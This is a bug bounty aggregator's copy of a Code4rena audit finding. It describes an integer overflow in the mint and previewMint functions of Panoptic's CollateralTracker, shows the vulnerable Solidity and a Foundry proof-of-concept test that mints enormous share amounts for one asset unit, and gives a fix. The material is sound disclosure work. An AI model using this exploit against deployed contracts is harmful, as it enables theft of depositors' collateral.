Skip to content
Smart contracts Audit finding Intermediate

Overflow in CollateralTracker allows minting shares for free

The mint function in CollateralTracker calculates required assets in an unchecked block, so a very large shares value overflows the multiplication and yields a tiny asset cost. An attacker can mint a huge number of shares for almost nothing and then withdraw all collateral.

0xLogos Follow

Originally disclosed on Code4rena

Submitted by 0xLogos

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467

Impact

Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.

Proof of Concept

In the mint function user-controlled shares parameter goes right away to the previewMint function which then calculates required assets in unchecked block. If the shares value is high enough, overflow in shares * DECIMALS will occur, and assets will be very low.

function previewMint(uint shares) public view returns (uint assets) {
 unchecked {
 assets = Math.mulDivRoundingUp(
 shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
 );
 }
}

function mint(uint shares, address receiver) external returns (uint assets) {
 assets = previewMint(shares);
 if (assets > type(uint104).max) revert Errors.DepositTooLarge();
 ...
}

Insert the following snippet to ColalteralTracker.t.sol for coded PoC:

function test_poc1(uint256 x) public {
 _initWorld(x);
 _grantTokens(Bob);

 vm.startPrank(Bob);

 uint shares = type(uint).max / 10000 + 1;
 IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
 uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);

 assertEq(shares, collateralToken0.balanceOf(Bob));
 assertEq(returnedAssets0, 1);
}

Recommended Mitigation Steps

Remove unchecked block.

function maxMint(address) external view returns (uint maxShares) {
 return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE);
}

Assessed type

Under/Overflow

dyedm1 (Panoptic) confirmed


The original report as published on Code4rena, by 0xLogos. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The multiplication in previewMint is performed inside an unchecked block, so an oversized shares value overflows and produces a very small asset requirement.

Impact

An attacker could mint huge amounts of shares for free and then withdraw all collateral.

What the attacker needed

Ability to call mint on the contract

The fix

The unchecked block should be removed so the multiplication is checked for overflow.

How it was found

  1. Set up the test world and grant tokens to Bob.
  2. Bob approves the collateral token contract to spend his tokens.
  3. Bob calls mint with a shares value just above the maximum uint divided by 10000.
  4. The call succeeds, Bob's share balance equals the requested shares, and only one asset unit is returned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract lets people deposit collateral and receive shares in return. The code that works out how much collateral a given number of shares costs did the maths without checking for overflow, so a huge number wrapped around to a tiny value. That meant someone could get a massive amount of shares for almost no collateral and then take everyone else's funds.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by 0xLogos

View all

8 more disclosed reports, best first.

More from Panoptic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.